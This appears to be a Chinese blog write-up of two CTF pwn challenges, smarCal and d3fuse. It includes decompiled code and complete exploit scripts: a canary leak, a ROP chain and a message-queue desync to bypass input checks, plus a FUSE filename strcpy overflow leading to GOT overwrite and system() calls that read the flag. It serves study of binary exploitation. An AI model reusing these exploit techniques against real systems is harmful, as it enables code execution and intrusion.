smarCal
逻辑解读:
main
- Input solver_id>
- Input expression
- Input result
- send_message ->solver_id->expression->result
- loop
fork
- get_ID_message
- get_expression_message
- get_result_message
- calculate func
源码分析
首先,三个input方式是完全相同的:但必须注意的是,它们均要求输入的内容是可打印字符,只有solver_id没有这个检查。
1 2 3
| *&solver_id_len[1] = read(0, solver_id, 0x2010uLL); expression_len = read(0, expression, 0x1F00uLL); result_len = read(0, result, 0x1F00uLL);
|
而发送消息的函数为sub_70DA:
1 2 3
| sub_70DA(dword_C1B0, solver_id, solver_id_len[1]); sub_70DA(dword_C1B0, expression, expression_len); sub_70DA(dword_C1B0, result, result_len);
|
发送函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| void __fastcall sub_70DA(int a1, const void *a2, int a3) { _QWORD *mess_head; // [rsp+18h] [rbp-18h] _QWORD *mess_body; // [rsp+20h] [rbp-10h] //分配空间与初始化 mess_head = malloc(0x10uLL); mess_body = malloc(a3 + 26LL); memset(mess_head, 0, 0x10uLL); memset(mess_body, 0, a3 + 26LL); //mess_head mess_head[1] = a3; *mess_head = 1LL; msgsnd(a1, mess_head, 8uLL, 0); //mess_body *mess_body = 2LL; memcpy(mess_body + 2, a2, a3); msgsnd(a1, mess_body, a3 + 8LL, 0); //释放空间 free(mess_head); free(mess_body); }
|
流程虽然很清晰,但必须注意到这是在进行进程间通信,其中README中提到:
sudo sysctl -w kernel.msgmax=8192
这意味着报文长度的限制,对于超出报文的情况会导致入队失败。
这一点在之后的利用中会很重要且难以察觉,因此笔者提前注出。
笔者猜测的结构体如下:
1 2 3 4 5 6 7 8 9 10
| struct mess_head{ int64 type=1; int64 mess_len; } struct mess_head{ int64 type=2; int64 mess_len; char mess_context[mess_len]; char pedding[0xA]; }
|
接下来需要分析fork子进程的流程,首先是接收消息的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| __int64 __fastcall get_message_con(int a1) { int i; // [rsp+1Ch] [rbp-44h] void *dest; // [rsp+20h] [rbp-40h] BYREF __int64 v4; // [rsp+28h] [rbp-38h] BYREF msgbuf *msgp; // [rsp+30h] [rbp-30h] void *s; // [rsp+38h] [rbp-28h] __int64 v7[4]; // [rsp+40h] [rbp-20h] BYREF
s = malloc(0x20uLL); msgp = 0LL; for ( i = -1; i == -1; i = msgrcv(a1, msgp, *(s + 1) + 8LL, 2LL, 0) ) { memset(s, 0, 0x20uLL); msgrcv(a1, s, 8uLL, 1LL, 0); msgp = malloc(*(s + 1) + 32LL); memset(msgp, 0, *(s + 1) + 32LL); } dest = malloc(*(s + 1)); v4 = *(s + 1); memset(dest, 0, *(s + 1)); memcpy(dest, &msgp[1], *(s + 1)); free(s); free(msgp); sub_73C2(v7, &dest, &v4); return v7[0]; }
|
阅读起来不太容易,感觉似乎多了些毫无意义的翻译,简而言之就是返回一个指向mess_context内容的chunk。
然后就能阅读完整的子进程主函数了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| void __fastcall __noreturn sub_68AE(unsigned int a1) { __int64 v1; // rdx __int64 v2; // rdx __int64 v3; // rdx char *ID; // [rsp+10h] [rbp-60h] BYREF __int64 v5; // [rsp+18h] [rbp-58h] void *expression; // [rsp+20h] [rbp-50h] BYREF __int64 v7; // [rsp+28h] [rbp-48h] void *result; // [rsp+30h] [rbp-40h] BYREF __int64 v9; // [rsp+38h] [rbp-38h] __int64 message_con; // [rsp+40h] [rbp-30h] BYREF __int64 v11; // [rsp+48h] [rbp-28h] unsigned __int64 v12; // [rsp+58h] [rbp-18h]
while ( 1 ) { ID = 0LL; v5 = 0LL; expression = 0LL; v7 = 0LL; result = 0LL; v9 = 0LL; message_con = get_message_con(a1); v11 = v1; change_pos(&ID, &message_con); if ( !strncmp(ID, "3x1t", 4uLL) ) break; message_con = get_message_con(a1); v11 = v2; change_pos(&expression, &message_con); message_con = get_message_con(a1); v11 = v3; change_pos(&result, &message_con); sub_6493(ID, v5, result, v9, expression, v7); free(ID); free(expression); free(result); } sub_708D(a1); exit(0); }
|
关键计算发生在sub_6493,但这个函数比较庞大,笔者只截取关键部分(C++反编译出来的代码真的好多啊)。
1 2 3 4 5
| char expression[280]; // [rsp+130h] [rbp-2120h] BYREF char result[264]; // [rsp+2130h] [rbp-120h] BYREF memcpy(result, input_result, a5); memcpy(expression, input_expression, a7); write(1, result, a5 + 64);
|
反汇编代码没有很好的体现出变量a5是result的长度,笔者也没有从汇编细究,但从函数逻辑的角度来说,这么想是一种直觉,它意味着我们会打印除result外更多的数据,这能让我们泄露canary。
再回顾主函数发送消息时,获取result的代码:
1
| result_len = read(0, result, 0x1F00uLL);
|
注意到result的长度,我们可以读入足够多数据使其泄露。
Attack Test
尝试泄露数据:
1 2 3 4 5 6 7 8 9 10 11 12 13
| sla("solver_id",b"1") sla("expression",b"1") #用足够长的result去填充数组,使得write函数泄露额外数据 PAYLOAD_SZ=0x2238-0x2130 sla("result",b"1"*(PAYLOAD_SZ-1)) # pedding+'\x0a'# p.recvuntil(b'result is:') p.recv(2) p.recv(PAYLOAD_SZ) canary=p.recv(8)#leak canary p.recv(8*3) leak1=u64(p.recv(8))#leak addr elf_base=leak1-0x55f4136819c5+0x000055f41367d000-0x2000# csu=elf_base+0x7470#csu gadget
|
接下来构造ROP链:
1 2 3 4 5 6 7
| g=p64(0)*3+p64(elf_base+0x748a)+p64(0)+p64(1)+p64(1)+p64(read_got)+p64(8)+p64(write_got) #write(1,read_got,8) g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(0)+p64(elf_base+0xC1A0)+p64(24)+p64(read_got) #read(0, malloc_got,8) g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(elf_base+0xC1A0+8)+p64(0)+p64(0)+p64(elf_base+0xC1A0) g+=p64(prdi_ret+1)+p64(prdi_ret)+p64(elf_base+0xC1A0+8)+p64(elf_base+0x7479) #read(0,bss,size)
|
在构造完成以后,我们就需要期望将ROP写进返回地址以期望事情顺利发展。
但我们知道,能够用以溢出的result或者expression被要求输入必须是可打印的,因此这里就需要通过报文长度限制来抢占,使得输入ID这个不被检查的过程中导入了result或者expression。
常规发送情况如下:
- ID 1->expression 1->result 1->ID 2
而接收顺序如下:
- ID 1->expression 1->result 1->ID 2
接下来我们通过输入长ID来使得报文无法入队,使得接收报文的实际内容变为:
- expression 1->result 1 -> ID 2
这样,第二次发送的ID 2就会被当作result,并且还不会经过可打印检查。
所以exp接下来这样做:
1 2 3 4 5 6 7
| sa("solver_id",b"a"*8200)#长报文,不被接收 sa("expression",b"a") #短报文,会被当作ID接收 sa("result",b"1+1") #短报文,被当作expression接收
sa("solver_id",b"a"*PAYLOAD_SZ+canary+rop)#短报文,被当作result接收,但在发送端会认为发送的是ID sa("expression",b"1") #ID sa("result",b"2+1")#expression
|
最后就只需要顺应rop结束即可:
1 2 3
| #rop中构造了读取函数,会将malloc_got改为system,最后执行对应代码读出flag p.send(p64(leak-libc.sym['read']+libc.sym['system'])+b'cat flag'.ljust(16,b'\x00')) p.interactive()
|
d3fuse
题目是一个fuse文件系统,这里不对其做过多的赘述,一言蔽之就是:
一个能够让用户自定义操作的,用户态的文件系统。
阅读脚本可以知道,/chroot/mnt目录被该文件系统接管,所有在该目录下的操作会由d3fuse进行变换。
以及,flag是根目录下,但程序一开始会用chroot将当前根目录切换到chroot,无法直接向上层访问。
保护检查
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
程序分析
首先根据查阅的资料恢复符号,可以看到该程序接管了如下命令:(部分未标记)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 0000000000404CC0 off_404CC0 dq offset getattr ; DATA XREF: main+49↑o .data.rel.ro:0000000000404CD8 dq offset mkdir .data.rel.ro:0000000000404CE0 dq offset unlink .data.rel.ro:0000000000404CE8 dq offset rmdir .data.rel.ro:0000000000404CF8 dq offset rename .data.rel.ro:0000000000404D18 dq offset truncate .data.rel.ro:0000000000404D20 dq offset open .data.rel.ro:0000000000404D28 dq offset read .data.rel.ro:0000000000404D30 dq offset write .data.rel.ro:0000000000404D40 dq offset sub_401ABA .data.rel.ro:0000000000404D48 dq offset sub_4016E5 .data.rel.ro:0000000000404D78 dq offset opendir .data.rel.ro:0000000000404D80 dq offset readdir .data.rel.ro:0000000000404D88 dq offset sub_4017BE .data.rel.ro:0000000000404D98 dq offset init_ .data.rel.ro:0000000000404DA0 dq offset sub_401918 .data.rel.ro:0000000000404DA8 dq offset sub_401927 .data.rel.ro:0000000000404DB0 dq offset create .data.rel.ro:0000000000404E08 _data_rel_ro ends
|
首先从创建文件的部分开始看,注意到其调用sub_401D74函数,其中有一行漏洞代码:
1 2 3
| v12 = strdup(a2); s2 = __xpg_basename(v12); strcpy(&v15->ptr[48 * v8], s2);
|
strcpy是不限定长度的拷贝,而s2是文件名,而文件名一般能无限长,因此可以构成一个溢出。
然后根据代码反推文件的结构体:
1 2 3 4 5 6 7 8
| struct fusefile { char name[32]; int file_type; unsigned int subsize; char *ptr; }; //sizeof(fusefile)=48
|
那么名字就能够向下溢出了。
那么顺着创建文件的路,从open开始:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __int64 __fastcall open(__int64 a1, __int64 fd) { int v3; // [rsp+14h] [rbp-Ch] fusefile *v4; // [rsp+18h] [rbp-8h]
v4 = find_file(&byte_4050C0, a1); if ( !v4 ) return 4294967294LL; if ( (v4->file_type & 1) != 0 ) return 4294967275LL; if ( (*fd & 0x200) != 0 ) { v3 = sub_401C4E(v4, 0LL); if ( v3 < 0 ) return v3; } *(fd + 16) = v4; return 0LL; }
|
其会寻找该文件并返回其描述符。
然后是read函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| size_t __fastcall read(__int64 a1, void *a2, size_t a3, __int64 a4, __int64 a5) { __int64 offset; // [rsp+10h] [rbp-30h] size_t n; // [rsp+18h] [rbp-28h] fusefile *v8; // [rsp+38h] [rbp-8h]
n = a3; offset = a4; v8 = *(a5 + 16); if ( a4 > v8->subsize ) offset = v8->subsize; if ( a3 + offset > v8->subsize ) n = v8->subsize - offset; memcpy(a2, &v8->ptr[offset], n); return n; }
|
会从描述符的ptr处复制数据到指针。
然后是write:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| size_t __fastcall write(__int64 a1, const void *a2, size_t a3, __int64 a4, __int64 a5) { __int64 offset; // [rsp+10h] [rbp-40h] unsigned int size; // [rsp+3Ch] [rbp-14h] fusefile *size_4; // [rsp+40h] [rbp-10h] char *v10; // [rsp+48h] [rbp-8h]
offset = a4; size_4 = *(a5 + 16); if ( a4 > size_4->subsize ) offset = size_4->subsize; size = offset + a3; if ( (offset + a3) > size_4->subsize ) { v10 = realloc(size_4->ptr, size); if ( !v10 ) return 4294967284LL; size_4->ptr = v10; size_4->subsize = size; } memcpy(&size_4->ptr[offset], a2, a3); return a3; }
|
将数据复制到ptr指向的内容处。
Attack Test
利用思路:
- 通过文件名溢出ptr为got表
- 读取ptr泄露got内容,得到libc_base
- 写got表为system
- 令system执行“cp /flag /chroot/flag”
笔者最开始还在好奇,为什么chroot之后,system还能用根目录下的cp来拷贝flag,原因出自sh脚本:
1 2
| runuser -u ctf /d3fuse /chroot/mnt && \ chroot --userspec=1000:1000 /chroot /bin/timeout -k 5 300 /bin/sh
|
最开始没注意到f3fuse是运行在外部,之后再chroot的,所以该文件是能正常访问外部目录的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| //musl-gcc -static -o exp exp.c #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <string.h> int main(){ /* { .name = 'A'*32; .isdir = 0x10101010; .length = 0x1101010; .context = 0x405070; */ char* fpath = "/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x10\x10\x10\x10\x10\x10\x01pP@\x00"; char* cmd = "/usr/bin/cp /flag /chroot/rwdir/flag"; int fd, r; // call realloc char garbage[0x1000]; memset(garbage, 0x1000, 'A'); fd = open("/mnt/garbage", O_CREAT O_WRONLY O_DIRECT); write(fd, garbage, 0x1000); close(fd); fd = open("/mnt/cmd", O_CREAT O_WRONLY O_DIRECT); write(fd, cmd, strlen(cmd)); close(fd); // trigger strcpy vuln fd = open(fpath, O_CREATO_WRONLY O_DIRECT); if(fd < 0) perror("open"); close(fd); // leak realloc address fd = open("/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", O_RDWR O_DIRECT); unsigned long libc_addr = 0; r = read(fd, &libc_addr, 8); if(r < 0) perror("read"); printf("read: fd=%d, r=%d, libc=%lx\n", fd, r, libc_addr); // calculate system address libc_addr += -0x48bf0; // overwrite realloc GOT address to system lseek(fd, 0, 0); r = write(fd, &libc_addr, 8); if(r < 0) perror("write"); printf("write: fd=%d, r=%d, libc=%lx\n", fd, r, libc_addr); // call system(cmd) fd = open("/mnt/cmd", O_WRONLY O_DIRECT); write(fd, garbage, 0x1000); close(fd); }
|
注:
pwn的其他题也看了一下,kheap和内核slub分配器看着难度还行,但我目前还没学到那,之后完成了会另外再复现一下试试的。
bpf的wp看了好几篇,但对于我这样最开始就没接触bpf的菜鸡来说好像还是有些晦涩,尤其是那个超长的exp,看着有点头皮发麻,希望之后有时间的话把这个东西从头再做一遍,ebf这个东西对我这个希望未来能研究内核的新手来说相当有吸引力。
希望接下来也能继续精进吧。
插画ID:71759763